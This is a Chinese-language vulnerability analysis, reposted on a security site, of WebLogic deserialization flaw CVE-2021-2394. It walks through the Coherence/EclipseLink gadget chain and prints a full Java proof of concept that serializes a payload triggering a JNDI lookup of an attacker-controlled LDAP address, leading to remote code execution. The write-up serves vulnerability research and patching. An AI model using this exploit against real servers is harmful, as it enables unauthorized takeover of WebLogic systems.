weblogic漏洞分析之CVE-2021-2394

admin 2024年12月18日22:24:34评论21 views字数 7252阅读24分10秒阅读模式

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知识

为了更好的理解漏洞,我将介绍漏洞中涉及的每一个类的作用,再将所有类串起来形成调用链

ExternalizableLite接口

Coherence 组件中存在一个 com.tangosol.io.ExternalizableLite,它继承了 java.io.Serializable,另外声明了 readExternal 和 writeExternal 这两个方法。

weblogic漏洞分析之CVE-2021-2394

ExternalizableHelper类

ExternalizableHelper类可以将实现上面ExternalizableLite接口的类进行序列化和反序列化操作,在反序列化操作中,会调用ExternalizableHelper#readObject

weblogic漏洞分析之CVE-2021-2394

如上图,在ExternalizableHelper#readObject中,会调用readObjectInternal方法,此方法会根据要还原类的类型,选择对应的方法进行解析,对于实现 com.tangosol.io.ExternalizableLite 接口的对象,会进入到 readExternalizableLite 方法:

weblogic漏洞分析之CVE-2021-2394

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法。

weblogic漏洞分析之CVE-2021-2394

JdbcRowSetImpl类

此类中getDatabaseMetaData方法会调用this.connect

weblogic漏洞分析之CVE-2021-2394

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

weblogic漏洞分析之CVE-2021-2394

MethodAttributeAccessor类

此类中有一个getAttributeValueFromObject方法,在getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters

weblogic漏洞分析之CVE-2021-2394

AbstractExtractor类

此类的compare方法会调用this.extract

weblogic漏洞分析之CVE-2021-2394

FilterExtractor类

此类是整个漏洞绕过上一个补丁的关键类,它实现了ExternalizableLite接口,并且父类是AbstractExtractor

weblogic漏洞分析之CVE-2021-2394

在此类中有两个比较重要的方法,首先来看第一个extract方法,此方法会调用attributeAccessorgetAttributeValueFromObject方法

weblogic漏洞分析之CVE-2021-2394

第二个是readExternal方法

weblogic漏洞分析之CVE-2021-2394

此方法调用了SerializationHelper#readAttributeAccessor来从序列化数据中还原this.attributeAccessor的值

跟进readAttributeAccessor方法,可以看到是自己new了一个MethodAttributeAccessor对象,这里就是绕过补丁的关键

weblogic漏洞分析之CVE-2021-2394

TopNAggregator$PartialResult类

TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法

weblogic漏洞分析之CVE-2021-2394

readExternal方法中也是调用的ExternalizableHelper进行还原每一个元素,170行还原了m_comparator后,到172行调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap

weblogic漏洞分析之CVE-2021-2394

这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

weblogic漏洞分析之CVE-2021-2394

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

weblogic漏洞分析之CVE-2021-2394

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

weblogic漏洞分析之CVE-2021-2394

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

weblogic漏洞分析之CVE-2021-2394

跟进add方法看到调用了父类的add

weblogic漏洞分析之CVE-2021-2394

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

weblogic漏洞分析之CVE-2021-2394

TreeMap类

TreeMap类中,其put方法会调用compare

weblogic漏洞分析之CVE-2021-2394

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator

weblogic漏洞分析之CVE-2021-2394

SortedBag$WrapperComparator类

此类的compare方法会调用this.f_comparator.compare

weblogic漏洞分析之CVE-2021-2394

AttributeHolder类

这个是整个漏洞的入口,在此类中实现了readExternal方法,在还原this.m_oValue值时候会调用ExternalizableHelper.readObject

weblogic漏洞分析之CVE-2021-2394

漏洞分析

先上gadget:

AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup

POC用Timeline Sec团队的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");

Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

jdbcRowSet.setDataSourceName(ldapurl);

FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet);

Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);

AttributeHolder attributeHolder = new AttributeHolder();

Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);

//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close();

//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor {

public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
}

public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}

objectIntputStream.readObject();处下断点

weblogic漏洞分析之CVE-2021-2394

跟进到AttributeHolder#readExternal,这里使用了ExternalizableHelper从序列化数据中还原this.m_oValue

weblogic漏洞分析之CVE-2021-2394

跟进ExternalizableHelper#readObject,调用了readObjectInternal

weblogic漏洞分析之CVE-2021-2394

readObjectInternal中,判断nType的值,进入readExternalizableLite来处理

weblogic漏洞分析之CVE-2021-2394

readExternalizableLite中,先实例化了TopNAggregator$PartialResult类,然后调用了它的readExternal方法

weblogic漏洞分析之CVE-2021-2394

跟进到TopNAggregator$PartialResultreadExternal方法,开始依次还原几个变量,先看还原第一个m_comparator

weblogic漏洞分析之CVE-2021-2394

跟进ExternalizableHelper#readObjectreadExternalizableLite方法,实例化出了FilterExtractor对象,调用其readExternal方法

weblogic漏洞分析之CVE-2021-2394

跟进FilterExtractor#readExternal方法,发现调用了SerializationHelper.readAttributeAccessor方法来还原this.attributeAccessor的值

weblogic漏洞分析之CVE-2021-2394

跟进SerializationHelper.readAttributeAccessor后,可以看到会 new 一个 MethodAttributeAccessor 对象,然后从 DataInput 中还原它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性,最后进行返回。

weblogic漏洞分析之CVE-2021-2394

回到TopNAggregator$PartialResultreadExternal方法中,此时this.m_comparator已经变成了FilterExtractor对象

weblogic漏洞分析之CVE-2021-2394

接着调用到172行的instantiateInternalMap方法,传入了this.m_comparator

weblogic漏洞分析之CVE-2021-2394

instantiateInternalMap方法中,首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

weblogic漏洞分析之CVE-2021-2394

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

weblogic漏洞分析之CVE-2021-2394

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

weblogic漏洞分析之CVE-2021-2394

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

weblogic漏洞分析之CVE-2021-2394

跟进add方法看到调用了父类的add,可以看到value的值已经变成了JdbcRowSetImpl

weblogic漏洞分析之CVE-2021-2394

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

weblogic漏洞分析之CVE-2021-2394

TreeMap类中,其put方法会调用compare,此时传入的key就是JdbcRowSetImpl对象

weblogic漏洞分析之CVE-2021-2394

compare中调用了comparator.compare,此处的comparator是在上面TreeMap中赋予的SortedBag.WrapperComparator

weblogic漏洞分析之CVE-2021-2394

接着进入SortedBag.WrapperComparator#compare中,可以看到调用了FilterExtractor#compare,其中o1、o2的值为JdbcRowSetImpl

weblogic漏洞分析之CVE-2021-2394

跟进FilterExtractor#compare中,调用了this.extract

weblogic漏洞分析之CVE-2021-2394

转到this.extract,调用了MethodAttributeAccessor#getAttributeValueFromObject

weblogic漏洞分析之CVE-2021-2394

查看MethodAttributeAccessor#getAttributeValueFromObject

weblogic漏洞分析之CVE-2021-2394

利用invoke调用了JdbcRowSetImpl#getDatabaseMetaData

weblogic漏洞分析之CVE-2021-2394

最终进行了lookup,其this.getDataSourceName()就是我们输入的LDAP地址

weblogic漏洞分析之CVE-2021-2394

弹出计算器

weblogic漏洞分析之CVE-2021-2394

来源:先知

weblogic漏洞分析之CVE-2021-2394

欢迎大家加群一起交流一起学习(此群已满200人,需要添加群主邀请)

weblogic漏洞分析之CVE-2021-2394

   欢迎添加奋斗的小浪

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月18日22:24:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   weblogic漏洞分析之CVE-2021-2394https://cn-sec.com/archives/676090.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息